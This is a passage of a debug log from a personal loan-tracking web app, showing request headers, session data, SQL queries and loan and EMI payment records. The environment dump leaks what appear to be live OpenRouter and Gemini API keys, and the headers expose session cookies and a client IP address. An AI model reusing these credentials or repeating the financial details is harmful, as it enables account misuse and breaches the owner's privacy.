    'if-none-match': 'W/"9e5f-rb6fxLzrOCM2uLCh58Oxo5CCRxI"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"9e5f-rb6fxLzrOCM2uLCh58Oxo5CCRxI"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-04-21T16:45:50.995Z server-connect:router Serving templateView /
2026-04-21T16:45:50.996Z server-connect:app Executing action step identify
2026-04-21T16:45:50.996Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:50.996Z server-connect:output identity: 1
2026-04-21T16:45:50.996Z server-connect:app Executing action step restrict
2026-04-21T16:45:50.996Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:45:50.997Z server-connect:output restrict: undefined
2026-04-21T16:45:50.997Z server-connect:app Executing action step restrict
2026-04-21T16:45:50.997Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:45:50.997Z server-connect:output restrict: undefined
2026-04-21T16:45:50.997Z server-connect:router Render template layouts/main
2026-04-21T16:45:50.998Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-04-21T16:45:57.882Z server-connect:router Serving templateView /emis
2026-04-21T16:45:57.883Z server-connect:app Executing action step identify
2026-04-21T16:45:57.883Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:57.883Z server-connect:output identity: 1
2026-04-21T16:45:57.883Z server-connect:app Executing action step restrict
2026-04-21T16:45:57.883Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:45:57.883Z server-connect:output restrict: undefined
2026-04-21T16:45:57.883Z server-connect:router Render template emis
2026-04-21T16:45:57.884Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"46b6-xfseExw2Tn/2LzcL4va+8kQ7aww"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"46b6-xfseExw2Tn/2LzcL4va+8kQ7aww"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-04-21T16:45:58.084Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-04-21T16:45:58.085Z server-connect:app Executing action step identify
2026-04-21T16:45:58.085Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:58.085Z server-connect:output identity: 1
2026-04-21T16:45:58.085Z server-connect:app Executing action step restrict
2026-04-21T16:45:58.085Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:58.086Z server-connect:output restrict: undefined
2026-04-21T16:45:58.086Z server-connect:app Executing action step custom
2026-04-21T16:45:58.086Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-04-21T16:45:58.087Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '13',
    total_remaining_amount: 195182,
    total_paid_amount: 705658,
    percentage_paid: '78.33'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 54729,
    total_paid_amount: 602019,
    percentage_paid: '91.67'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '10',
    total_remaining_amount: 220310,
    total_paid_amount: 837178,
    percentage_paid: '79.17'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 21344,
    total_paid_amount: 170752,
    percentage_paid: '88.89'
  }
]
2026-04-21T16:45:59.775Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-04-21T16:45:59.776Z server-connect:app Executing action step identify
2026-04-21T16:45:59.776Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:59.776Z server-connect:output identity: 1
2026-04-21T16:45:59.776Z server-connect:app Executing action step restrict
2026-04-21T16:45:59.776Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:59.776Z server-connect:output restrict: undefined
2026-04-21T16:45:59.776Z server-connect:app Executing action step select
2026-04-21T16:45:59.777Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-04-21T16:45:59.778Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
2026-04-21T16:46:06.534Z server-connect:setup:config {
